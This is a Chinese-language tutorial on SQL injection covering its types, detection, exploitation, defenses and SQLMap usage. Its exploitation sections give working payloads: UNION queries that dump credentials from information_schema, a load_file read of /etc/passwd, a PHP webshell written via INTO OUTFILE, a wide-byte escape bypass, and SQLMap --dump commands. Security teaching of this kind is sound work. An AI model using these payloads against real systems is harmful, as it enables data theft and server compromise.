SQL注入漏洞
字数 1214 2025-08-12 11:34:05
SQL注入漏洞详解与防御指南
1. SQL注入基础概念
1.1 SQL注入定义
SQL注入是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,这些参数随后会被传递给后台数据库执行。
1.2 存在条件
- Web应用与数据库有交互
- 用户可以自定义交互内容
- 用户输入未经过充分过滤或转义
1.3 基本原理
攻击者通过构造特殊输入,改变原始SQL语句的逻辑结构,从而执行非预期的数据库操作。
2. SQL注入分类
2.1 按参数类型分类
- 数字型注入:参数无需引号包裹
select * from table where id=1 - 字符型注入:参数用单引号包裹
select * from table where name='admin' - 搜索型注入:使用LIKE语句
select * from table where 字段 like '%xxx%'
2.2 按数据提交方式分类
- GET注入:通过URL参数注入
- POST注入:通过表单POST数据注入
- Cookie注入:通过Cookie数据注入
- HTTP头部注入:通过HTTP头(User-Agent, Referer等)注入
2.3 按执行效果分类
- 基于布尔的盲注:通过页面返回的真假判断
- 基于时间的盲注:通过时间延迟判断
- 基于报错的注入:通过错误信息获取数据
- 联合查询注入:使用UNION合并查询
- 堆查询注入:执行多条SQL语句
- 宽字节注入:利用字符编码转换漏洞
3. SQL注入检测方法
3.1 基础检测技术
-
布尔判断:
id=1 and 1=1(正常返回)id=1 and 1=2(异常返回)
-
逻辑运算符特性:
- AND:全真为真,有假为假
- OR:有真为真,全假为假
- XOR:真为假,假为真
3.2 信息收集技术
-
猜解字段数:
order by n--+不断增加n直到报错
-
联合查询:
union select 1,2,3--+确定显示位
-
获取数据库信息:
union select 1,group_concat(schema_name) from information_schema.schemata--+
4. SQL注入利用技术
4.1 完整利用流程
-
爆数据库名:
union select 1,group_concat(schema_name) from information_schema.schemata -
爆表名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -
爆列名:
union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -
爆数据:
union select group_concat(username),group_concat(password) from 数据库名.表名
4.2 高级利用技术
-
文件读取:
load_file('/etc/passwd') -
文件写入/GetShell:
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'条件:
- 知道网站绝对路径
- GPC未开启
- 有FILE权限
- 目录有写权限
-
宽字节注入:
利用GBK等双字节编码特性,如:%df' 会被转义为 %df\' → 吃掉转义符
5. SQL注入防御措施
5.1 编码防御
- 使用参数化查询/预编译语句
- 使用ORM框架
- 输入验证与过滤
- 白名单验证
- 类型检查
- 转义特殊字符
addslashes()mysql_real_escape_string()
5.2 配置防御
- 最小权限原则:数据库账户仅授予必要权限
- 关闭错误显示:防止敏感信息泄露
- 使用WAF:Web应用防火墙
5.3 其他措施
- 定期安全测试:静态和动态测试
- 使用成熟框架:避免自行编写SQL语句
- 安全编码培训:提高开发人员安全意识
6. 工具使用
6.1 SQLMap基础用法
-
检测注入点:
python sqlmap.py -u "http://example.com?id=1" -
获取数据库:
python sqlmap.py -u "http://example.com?id=1" --dbs -
获取表:
python sqlmap.py -u "http://example.com?id=1" -D 数据库名 --tables -
获取数据:
python sqlmap.py -u "http://example.com?id=1" -D 数据库名 -T 表名 --dump -
POST注入检测:
python sqlmap.py -u "http://example.com" --forms
7. 总结
SQL注入虽然是一种"古老"的攻击方式,但在当今仍然存在。防御SQL注入需要从开发阶段就重视安全编码,采用参数化查询等安全措施,同时配合运维层面的安全配置,才能有效防范此类攻击。